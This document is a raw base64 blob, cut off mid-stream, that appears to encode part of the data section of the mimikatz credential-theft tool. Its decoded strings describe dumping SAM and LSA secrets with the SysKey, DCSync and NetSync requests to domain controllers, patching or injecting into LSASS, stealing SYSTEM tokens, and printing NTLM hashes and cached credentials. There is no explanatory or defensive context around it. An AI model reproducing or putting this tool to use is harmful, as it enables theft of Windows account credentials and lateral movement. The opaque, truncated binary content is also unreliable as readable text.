AgADsAIABPAHAAZQBuAFMAQwBNAGEAbgBhAGcAZQByACgAYwByAGUAYQB0AGUAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAFsAKwBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABzAHQAbwBwAHAAZQBkAAoAAAAAAAAAAAAAAAAAAAAAAFsAKgBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABuAG8AdAAgAHIAdQBuAG4AaQBuAGcACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAHIAZQBtAG8AdgBlAF8AbQBpAG0AaQBkAHIAdgAgADsAIABrAHUAbABsAF8AbQBfAHMAZQByAHYAaQBjAGUAXwBzAHQAbwBwACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFsAKwBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIAByAGUAbQBvAHYAZQBkAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwByAGUAbQBvAHYAZQBfAG0AaQBtAGkAZAByAHYAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AcgBlAG0AbwB2AGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAHIAZQBtAG8AdgBlAAAAAABQAHIAbwBjAGUAcwBzACAAOgAgACUAcwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBwAHIAbwBjAGUAcwBzAFAAcgBvAHQAZQBjAHQAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAUAByAG8AYwBlAHMAcwBJAGQARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAHAAaQBkAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAHAAcgBvAGMAZQBzAHMAUAByAG8AdABlAGMAdAAgADsAIABBAHIAZwB1AG0AZQBuAHQAIAAvAHAAcgBvAGMAZQBzAHMAOgBwAHIAbwBnAHIAYQBtAC4AZQB4AGUAIABvAHIAIAAvAHAAaQBkADoAcAByAG8AYwBlAHMAcwBpAGQAIABuAGUAZQBkAGUAZAAKAAAAAAAAAAAAUABJAEQAIAAlAHUAIAAtAD4AIAAlADAAMgB4AC8AJQAwADIAeAAgAFsAJQAxAHgALQAlADEAeAAtACUAMQB4AF0ACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcAByAG8AYwBlAHMAcwBQAHIAbwB0AGUAYwB0ACAAOwAgAE4AbwAgAFAASQBEAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcAByAG8AYwBlAHMAcwBQAHIAbwB0AGUAYwB0ACAAOwAgAFAAcgBvAHQAZQBjAHQAZQBkACAAcAByAG8AYwBlAHMAcwAgAG4AbwB0ACAAYQB2AGEAaQBsAGEAYgBsAGUAIABiAGUAZgBvAHIAZQAgAFcAaQBuAGQAbwB3AHMAIABWAGkAcwB0AGEACgAAAAAAZgByAG8AbQAAAAAAdABvAAAAAAAAAAAAVABvAGsAZQBuACAAZgByAG8AbQAgAHAAcgBvAGMAZQBzAHMAIAAlAHUAIAB0AG8AIABwAHIAbwBjAGUAcwBzACAAJQB1AAoAAAAAAAAAAAAgACoAIABmAHIAbwBtACAAMAAgAHcAaQBsAGwAIAB0AGEAawBlACAAUwBZAFMAVABFAE0AIAB0AG8AawBlAG4ACgAAAAAAAAAAAAAAAAAAACAAKgAgAHQAbwAgADAAIAB3AGkAbABsACAAdABhAGsAZQAgAGEAbABsACAAJwBjAG0AZAAnACAAYQBuAGQAIAAnAG0AaQBtAGkAawBhAHQAegAnACAAcAByAG8AYwBlAHMAcwAKAAAASwBlAHIAbgBlAGwAXwBMAHMAYQBfAFAAcABsAF8AQwBvAG4AZgBpAGcAAAAAAAAAAAAAAAAAAAB7ADcANwBmAGEAOQBhAGIAZAAtADAAMwA1ADkALQA0AGQAMwAyAC0AYgBkADYAMAAtADIAOABmADQAZQA3ADgAZgA3ADgANABiAH0AAAAAAGcAdQBpAGQAAAAAADEAAABhAHQAdAByAGkAYgB1AHQAZQBzAAAAAAAwADAAMAAwADAAMAAwADAAAAAAAAAAAABOAGEAbQBlACAAIAAgACAAIAAgACAAOgAgACUAdwBaAAoAVgBlAG4AZABvAHIAIABHAFUASQBEADoAIAAAAAAACgBBAHQAdAByAGkAYgB1AHQAZQBzACAAOgAgACUAMAA4AHgAIAAoAAAAAAAAAAAATABlAG4AZwB0AGgAIAAgACAAIAAgADoAIAAlAHUACgBEAGEAdABhACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAD4AIABPAEsAIQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcwB5AHMAZQBuAHYAXwBzAGUAdAAgADsAIABSAHQAbABHAFUASQBEAEYAcgBvAG0AUwB0AHIAaQBuAGcAOgAgADAAeAAlADAAOAB4AAoAAAApAAoACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBzAHkAcwBlAG4AdgBfAGQAZQBsACAAOwAgAFIAdABsAEcAVQBJAEQARgByAG8AbQBTAHQAcgBpAG4AZwA6ACAAMAB4ACUAMAA4AHgACgAAAHMAYQBtAAAARwBlAHQAIAB0AGgAZQAgAFMAeQBzAEsAZQB5ACAAdABvACAAZABlAGMAcgB5AHAAdAAgAFMAQQBNACAAZQBuAHQAcgBpAGUAcwAgACgAZgByAG8AbQAgAHIAZQBnAGkAcwB0AHIAeQAgAG8AcgAgAGgAaQB2AGUAcwApAAAAAABzAGUAYwByAGUAdABzAAAARwBlAHQAIAB0AGgAZQAgAFMAeQBzAEsAZQB5ACAAdABvACAAZABlAGMAcgB5AHAAdAAgAFMARQBDAFIARQBUAFMAIABlAG4AdAByAGkAZQBzACAAKABmAHIAbwBtACAAcgBlAGcAaQBzAHQAcgB5ACAAbwByACAAaABpAHYAZQBzACkAAAAAAAAAAAAAAAAARwBlAHQAIAB0AGgAZQAgAFMAeQBzAEsAZQB5ACAAdABvACAAZABlAGMAcgB5AHAAdAAgAE4ATAAkAEsATQAgAHQAaABlAG4AIABNAFMAQwBhAGMAaABlACgAdgAyACkAIAAoAGYAcgBvAG0AIAByAGUAZwBpAHMAdAByAHkAIABvAHIAIABoAGkAdgBlAHMAKQAAAAAAAABsAHMAYQAAAEEAcwBrACAATABTAEEAIABTAGUAcgB2AGUAcgAgAHQAbwAgAHIAZQB0AHIAaQBlAHYAZQAgAFMAQQBNAC8AQQBEACAAZQBuAHQAcgBpAGUAcwAgACgAbgBvAHIAbQBhAGwALAAgAHAAYQB0AGMAaAAgAG8AbgAgAHQAaABlACAAZgBsAHkAIABvAHIAIABpAG4AagBlAGMAdAApAAAAAAB0AHIAdQBzAHQAAAAAAAAAQQBzAGsAIABMAFMAQQAgAFMAZQByAHYAZQByACAAdABvACAAcgBlAHQAcgBpAGUAdgBlACAAVAByAHUAcwB0ACAAQQB1AHQAaAAgAEkAbgBmAG8AcgBtAGEAdABpAG8AbgAgACgAbgBvAHIAbQBhAGwAIABvAHIAIABwAGEAdABjAGgAIABvAG4AIAB0AGgAZQAgAGYAbAB5ACkAAAAAAGIAYQBjAGsAdQBwAGsAZQB5AHMAAAAAAHIAcABkAGEAdABhAAAAAABkAGMAcwB5AG4AYwAAAAAAAAAAAAAAAABBAHMAawAgAGEAIABEAEMAIAB0AG8AIABzAHkAbgBjAGgAcgBvAG4AaQB6AGUAIABhAG4AIABvAGIAagBlAGMAdAAAAAAAAABuAGUAdABzAHkAbgBjAAAAAAAAAAAAAABBAHMAawAgAGEAIABEAEMAIAB0AG8AIABzAGUAbgBkACAAYwB1AHIAcgBlAG4AdAAgAGEAbgBkACAAcAByAGUAdgBpAG8AdQBzACAATgBUAEwATQAgAGgAYQBzAGgAIABvAGYAIABEAEMALwBTAFIAVgAvAFcASwBTAAAAAAAAAGwAcwBhAGQAdQBtAHAAAABMAHMAYQBEAHUAbQBwACAAbQBvAGQAdQBsAGUAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAYQBtACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoAFMAQQBNACAAaABpAHYAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBhAG0AIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAUwBZAFMAVABFAE0AIABoAGkAdgBlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABTAFkAUwBUAEUATQAAAAAAUwBBAE0AAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAYQBtACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIAAoAFMAQQBNACkAIAAoADAAeAAlADAAOAB4ACkACgAAAD4AIABVAHMAZQByACAAYwBhAGMAaABlACAAcgBlAHAAbABhAGMAZQAgAG0AbwBkAGUAIAAhAAoAAAAAAAAAAAAgACAAKgAgAHUAcwBlAHIAIAAgACAAIAAgADoAIAAlAHMACgAAAAAAbgB0AGwAbQAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAGMAcgBlAHQAcwBPAHIAQwBhAGMAaABlACAAOwAgAG4AdABsAG0AIABoAGEAcwBoACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAAMwAyACAAKAAxADYAIABiAHkAdABlAHMAKQAgAC0AIAB3AGkAbABsACAAdQBzAGUAIABkAGUAZgBhAHUAbAB0ACAAcABhAHMAcwB3AG8AcgBkAC4ALgAuAAoAAAAAAAAAAAAgACAAKgAgAHAAYQBzAHMAdwBvAHIAZAAgADoAIAAlAHMACgAAAAAAIAAgACoAIABuAHQAbABtACAAIAAgACAAIAA6ACAAAABzAGUAYwB1AHIAaQB0AHkAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwByAGUAdABzAE8AcgBDAGEAYwBoAGUAIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAUwBFAEMAVQBSAEkAVABZACAAaABpAHYAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAGMAcgBlAHQAcwBPAHIAQwBhAGMAaABlACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoAFMAWQBTAFQARQBNACAAaABpAHYAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABTAEUAQwBVAFIASQBUAFkAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwByAGUAdABzAE8AcgBDAGEAYwBoAGUAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgACgAUwBFAEMAVQBSAEkAVABZACkAIAAoADAAeAAlADAAOAB4ACkACgAAAEMAdQByAHIAZQBuAHQAAABEAGUAZgBhAHUAbAB0AAAAQwBvAG4AdAByAG8AbABTAGUAdAAwADAAMAAAAAAAAABTAGUAbABlAGMAdAAAAAAAJQAwADMAdQAAAAAASgBEAAAAAAAAAAAAUwBrAGUAdwAxAAAAAAAAAEcAQgBHAAAARABhAHQAYQAAAAAAJQB4AAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABTAHkAcwBrAGUAeQAgADsAIABMAFMAQQAgAEsAZQB5ACAAQwBsAGEAcwBzACAAcgBlAGEAZAAgAGUAcgByAG8AcgAKAAAAAABEAG8AbQBhAGkAbgAgADoAIAAAAAAAAABDAG8AbQBwAHUAdABlAHIATgBhAG0AZQAAAAAAAAAAAEMAbwBuAHQAcgBvAGwAXABDAG8AbQBwAHUAdABlAHIATgBhAG0AZQBcAEMAbwBtAHAAdQB0AGUAcgBOAGEAbQBlAAAAAAAAACUAcwAKAAAAUwB5AHMASwBlAHkAIAA6ACAAAAAAAAAAQwBvAG4AdAByAG8AbABcAEwAUwBBAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAQwBvAG0AcAB1AHQAZQByAEEAbgBkAFMAeQBzAGsAZQB5ACAAOwAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFMAeQBzAGsAZQ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B0AEEAbgBkAEMAYQBjAGgAZQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAFMAZQB0AFYAYQBsAHUAZQBFAHgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAD4AIABVAHMAZQByACAAYwBhAGMAaABlACAAcgBlAHAAbABhAGMAZQAgAG0AbwBkAGUAIAAoADEAKQAhAAoAAAAgACAATQBzAEMAYQBjAGgAZQBWADEAIAA6ACAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AE4ATABLAE0AUwBlAGMAcgBlAHQAQQBuAGQAQwBhAGMAaABlACAAOwAgAFIAdABsAEUAbgBjAHIAeQBwAHQARABlAGMAcgB5AHAAdABSAEMANAAgADoAIAAwAHgAJQAwADgAeAAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABOAEwASwBNAFMAZQBjAHIAZQB0AEEAbgBkAEMAYQBjAGgAZQAgADsAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AaABtAGEAYwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAFUAcwBlAHIAIAAgACAAIAAgACAAOgAgACUALgAqAHMAXAAlAC4AKgBzAAoAAAAAAE0AcwBDAGEAYwBoAGUAVgAlAGMAIAA6ACAAAAAAAAAATwBiAGoAZQBjAHQATgBhAG0AZQAAAAAAIAAvACAAcwBlAHIAdgBpAGMAZQAgACcAJQBzACcAIAB3AGkAdABoACAAdQBzAGUAcgBuAGEAbQBlACAAOgAgACUALgAqAHMAAAAAAAAAAAB0AGUAeAB0ADoAIAAlAHcAWgAAAAAAAABoAGUAeAAgADoAIAAAAAAAJABNAEEAQwBIAEkATgBFAC4AQQBDAEMAAAAAAAAAAAAKACAAIAAgACAATgBUAEwATQA6AAAAAAAKACAAIAAgACAAUwBIAEEAMQA6AAAAAABEAFAAQQBQAEkAXwBTAFkAUwBUAEUATQAAAAAAAAAAAAoAIAAgACAAIABmAHUAbABsADoAIAAAAAoAIAAgACAAIABtAC8AdQAgADoAIAAAACAALwAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAGMAXwBhAGUAcwAyADUANgAgADsAIABDAHIAeQBwAHQARABlAGMAcgB5AHAAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwBfAGEAZQBzADIANQA2ACAAOwAgAEMAcgB5AHAAdABTAGUAdABLAGUAeQBQAGEAcgBhAG0AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAF8AYQBlAHMAMgA1ADYAIAA7ACAAawB1AGwAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGgAawBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAcwBhAG0AcwByAHYALgBkAGwAbAAAAAAAbABzAGEAcwByAHYALgBkAGwAbAAAAAAAbgB0AGQAbABsAC4AZABsAGwAAAAAAAAAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAAAAAAAAAAABTYW1JQ29ubmVjdAAAAAAAU2FtckNsb3NlSGFuZGxlAFNhbUlSZXRyaWV2ZVByaW1hcnlDcmVkZW50aWFscwAAU2Ftck9wZW5Eb21haW4AAFNhbXJPcGVuVXNlcgAAAABTYW1yUXVlcnlJbmZvcm1hdGlvblVzZXIAAAAAAAAAAFNhbUlGcmVlX1NBTVBSX1VTRVJfSU5GT19CVUZGRVIATHNhSVF1ZXJ5SW5mb3JtYXRpb25Qb2xpY3lUcnVzdGVkAAAAAAAAAExzYUlGcmVlX0xTQVBSX1BPTElDWV9JTkZPUk1BVElPTgAAAAAAAABWaXJ0dWFsQWxsb2MAAAAAbWVtY3B5AABwAGEAdABjAGgAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABpAG4AagBlAGMAdAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlAAoAAAAAAAAAAABEAG8AbQBhAGkAbgAgADoAIAAlAHcAWgAgAC8AIAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAUwBhAG0ATABvAG8AawB1AHAASQBkAHMASQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgACcAJQBzACcAIABpAHMAIABuAG8AdAAgAGEAIAB2AGEAbABpAGQAIABJAGQACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABTAGEAbQBMAG8AbwBrAHUAcABOAGEAbQBlAHMASQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAUwBhAG0ARQBuAHUAbQBlAHIAYQB0AGUAVQBzAGUAcgBzAEkAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABTAGEAbQBPAHAAZQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABTAGEAbQBDAG8AbgBuAGUAYwB0ACAAJQAwADgAeAAKAAAAUwBhAG0AUwBzAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAXwBnAGUAdABIAGEAbgBkAGwAZQAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQBfAGcAZQB0AEgAYQBuAGQAbABlACAAOwAgAGsAdQBsAGwAXwBtAF8AcwBlAHIAdgBpAGMAZQBfAGcAZQB0AFUAbgBpAHEAdQBlAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAACgBSAEkARAAgACAAOgAgACUAMAA4AHgAIAAoACUAdQApAAoAVQBzAGUAcgAgADoAIAAlAHcAWgAKAAAAAAAAAEwATQAgACAAIAA6ACAAAAAKAE4AVABMAE0AIAA6ACAAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhAF8AdQBzAGUAcgAgADsAIABTAGEAbQBRAHUAZQByAHkASQBuAGYAbwByAG0AYQB0AGkAbwBuAFUAcwBlAHIAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAXwB1AHMAZQByACAAOwAgAFMAYQBtAE8AcABlAG4AVQBzAGUAcgAgACUAMAA4AHgACgAAAAAAAABQAHIAaQBtAGEAcgB5AAAAQwBMAEUAQQBSAFQARQBYAFQAAAAAAAAAVwBEAGkAZwBlAHMAdAAAAEsAZQByAGIAZQByAG8AcwAAAAAAAAAAAEsAZQByAGIAZQByAG8AcwAtAE4AZQB3AGUAcgAtAEsAZQB5AHMAAABOAFQATABNAC0AUwB0AHIAbwBuAGcALQBOAFQATwBXAEYAAAAAAAAACgAgACoAIAAlAHMACgAAACAAIAAgACAATABNACAAIAAgADoAIAAAAAoAIAAgACAAIABOAFQATABNACAAOgAgAAAAAAAAAAAAIAAgACAAIAAlAC4AKgBzAAoAAAAAAAAAIAAgACAAIAAlADAAMgB1ACAAIAAAAAAAIAAgACAAIABEAGUAZgBhAHUAbAB0ACAAUwBhAGwAdAAgADoAIAAlAC4AKgBzAAoAAAAAAAAAAABDAHIAZQBkAGUAb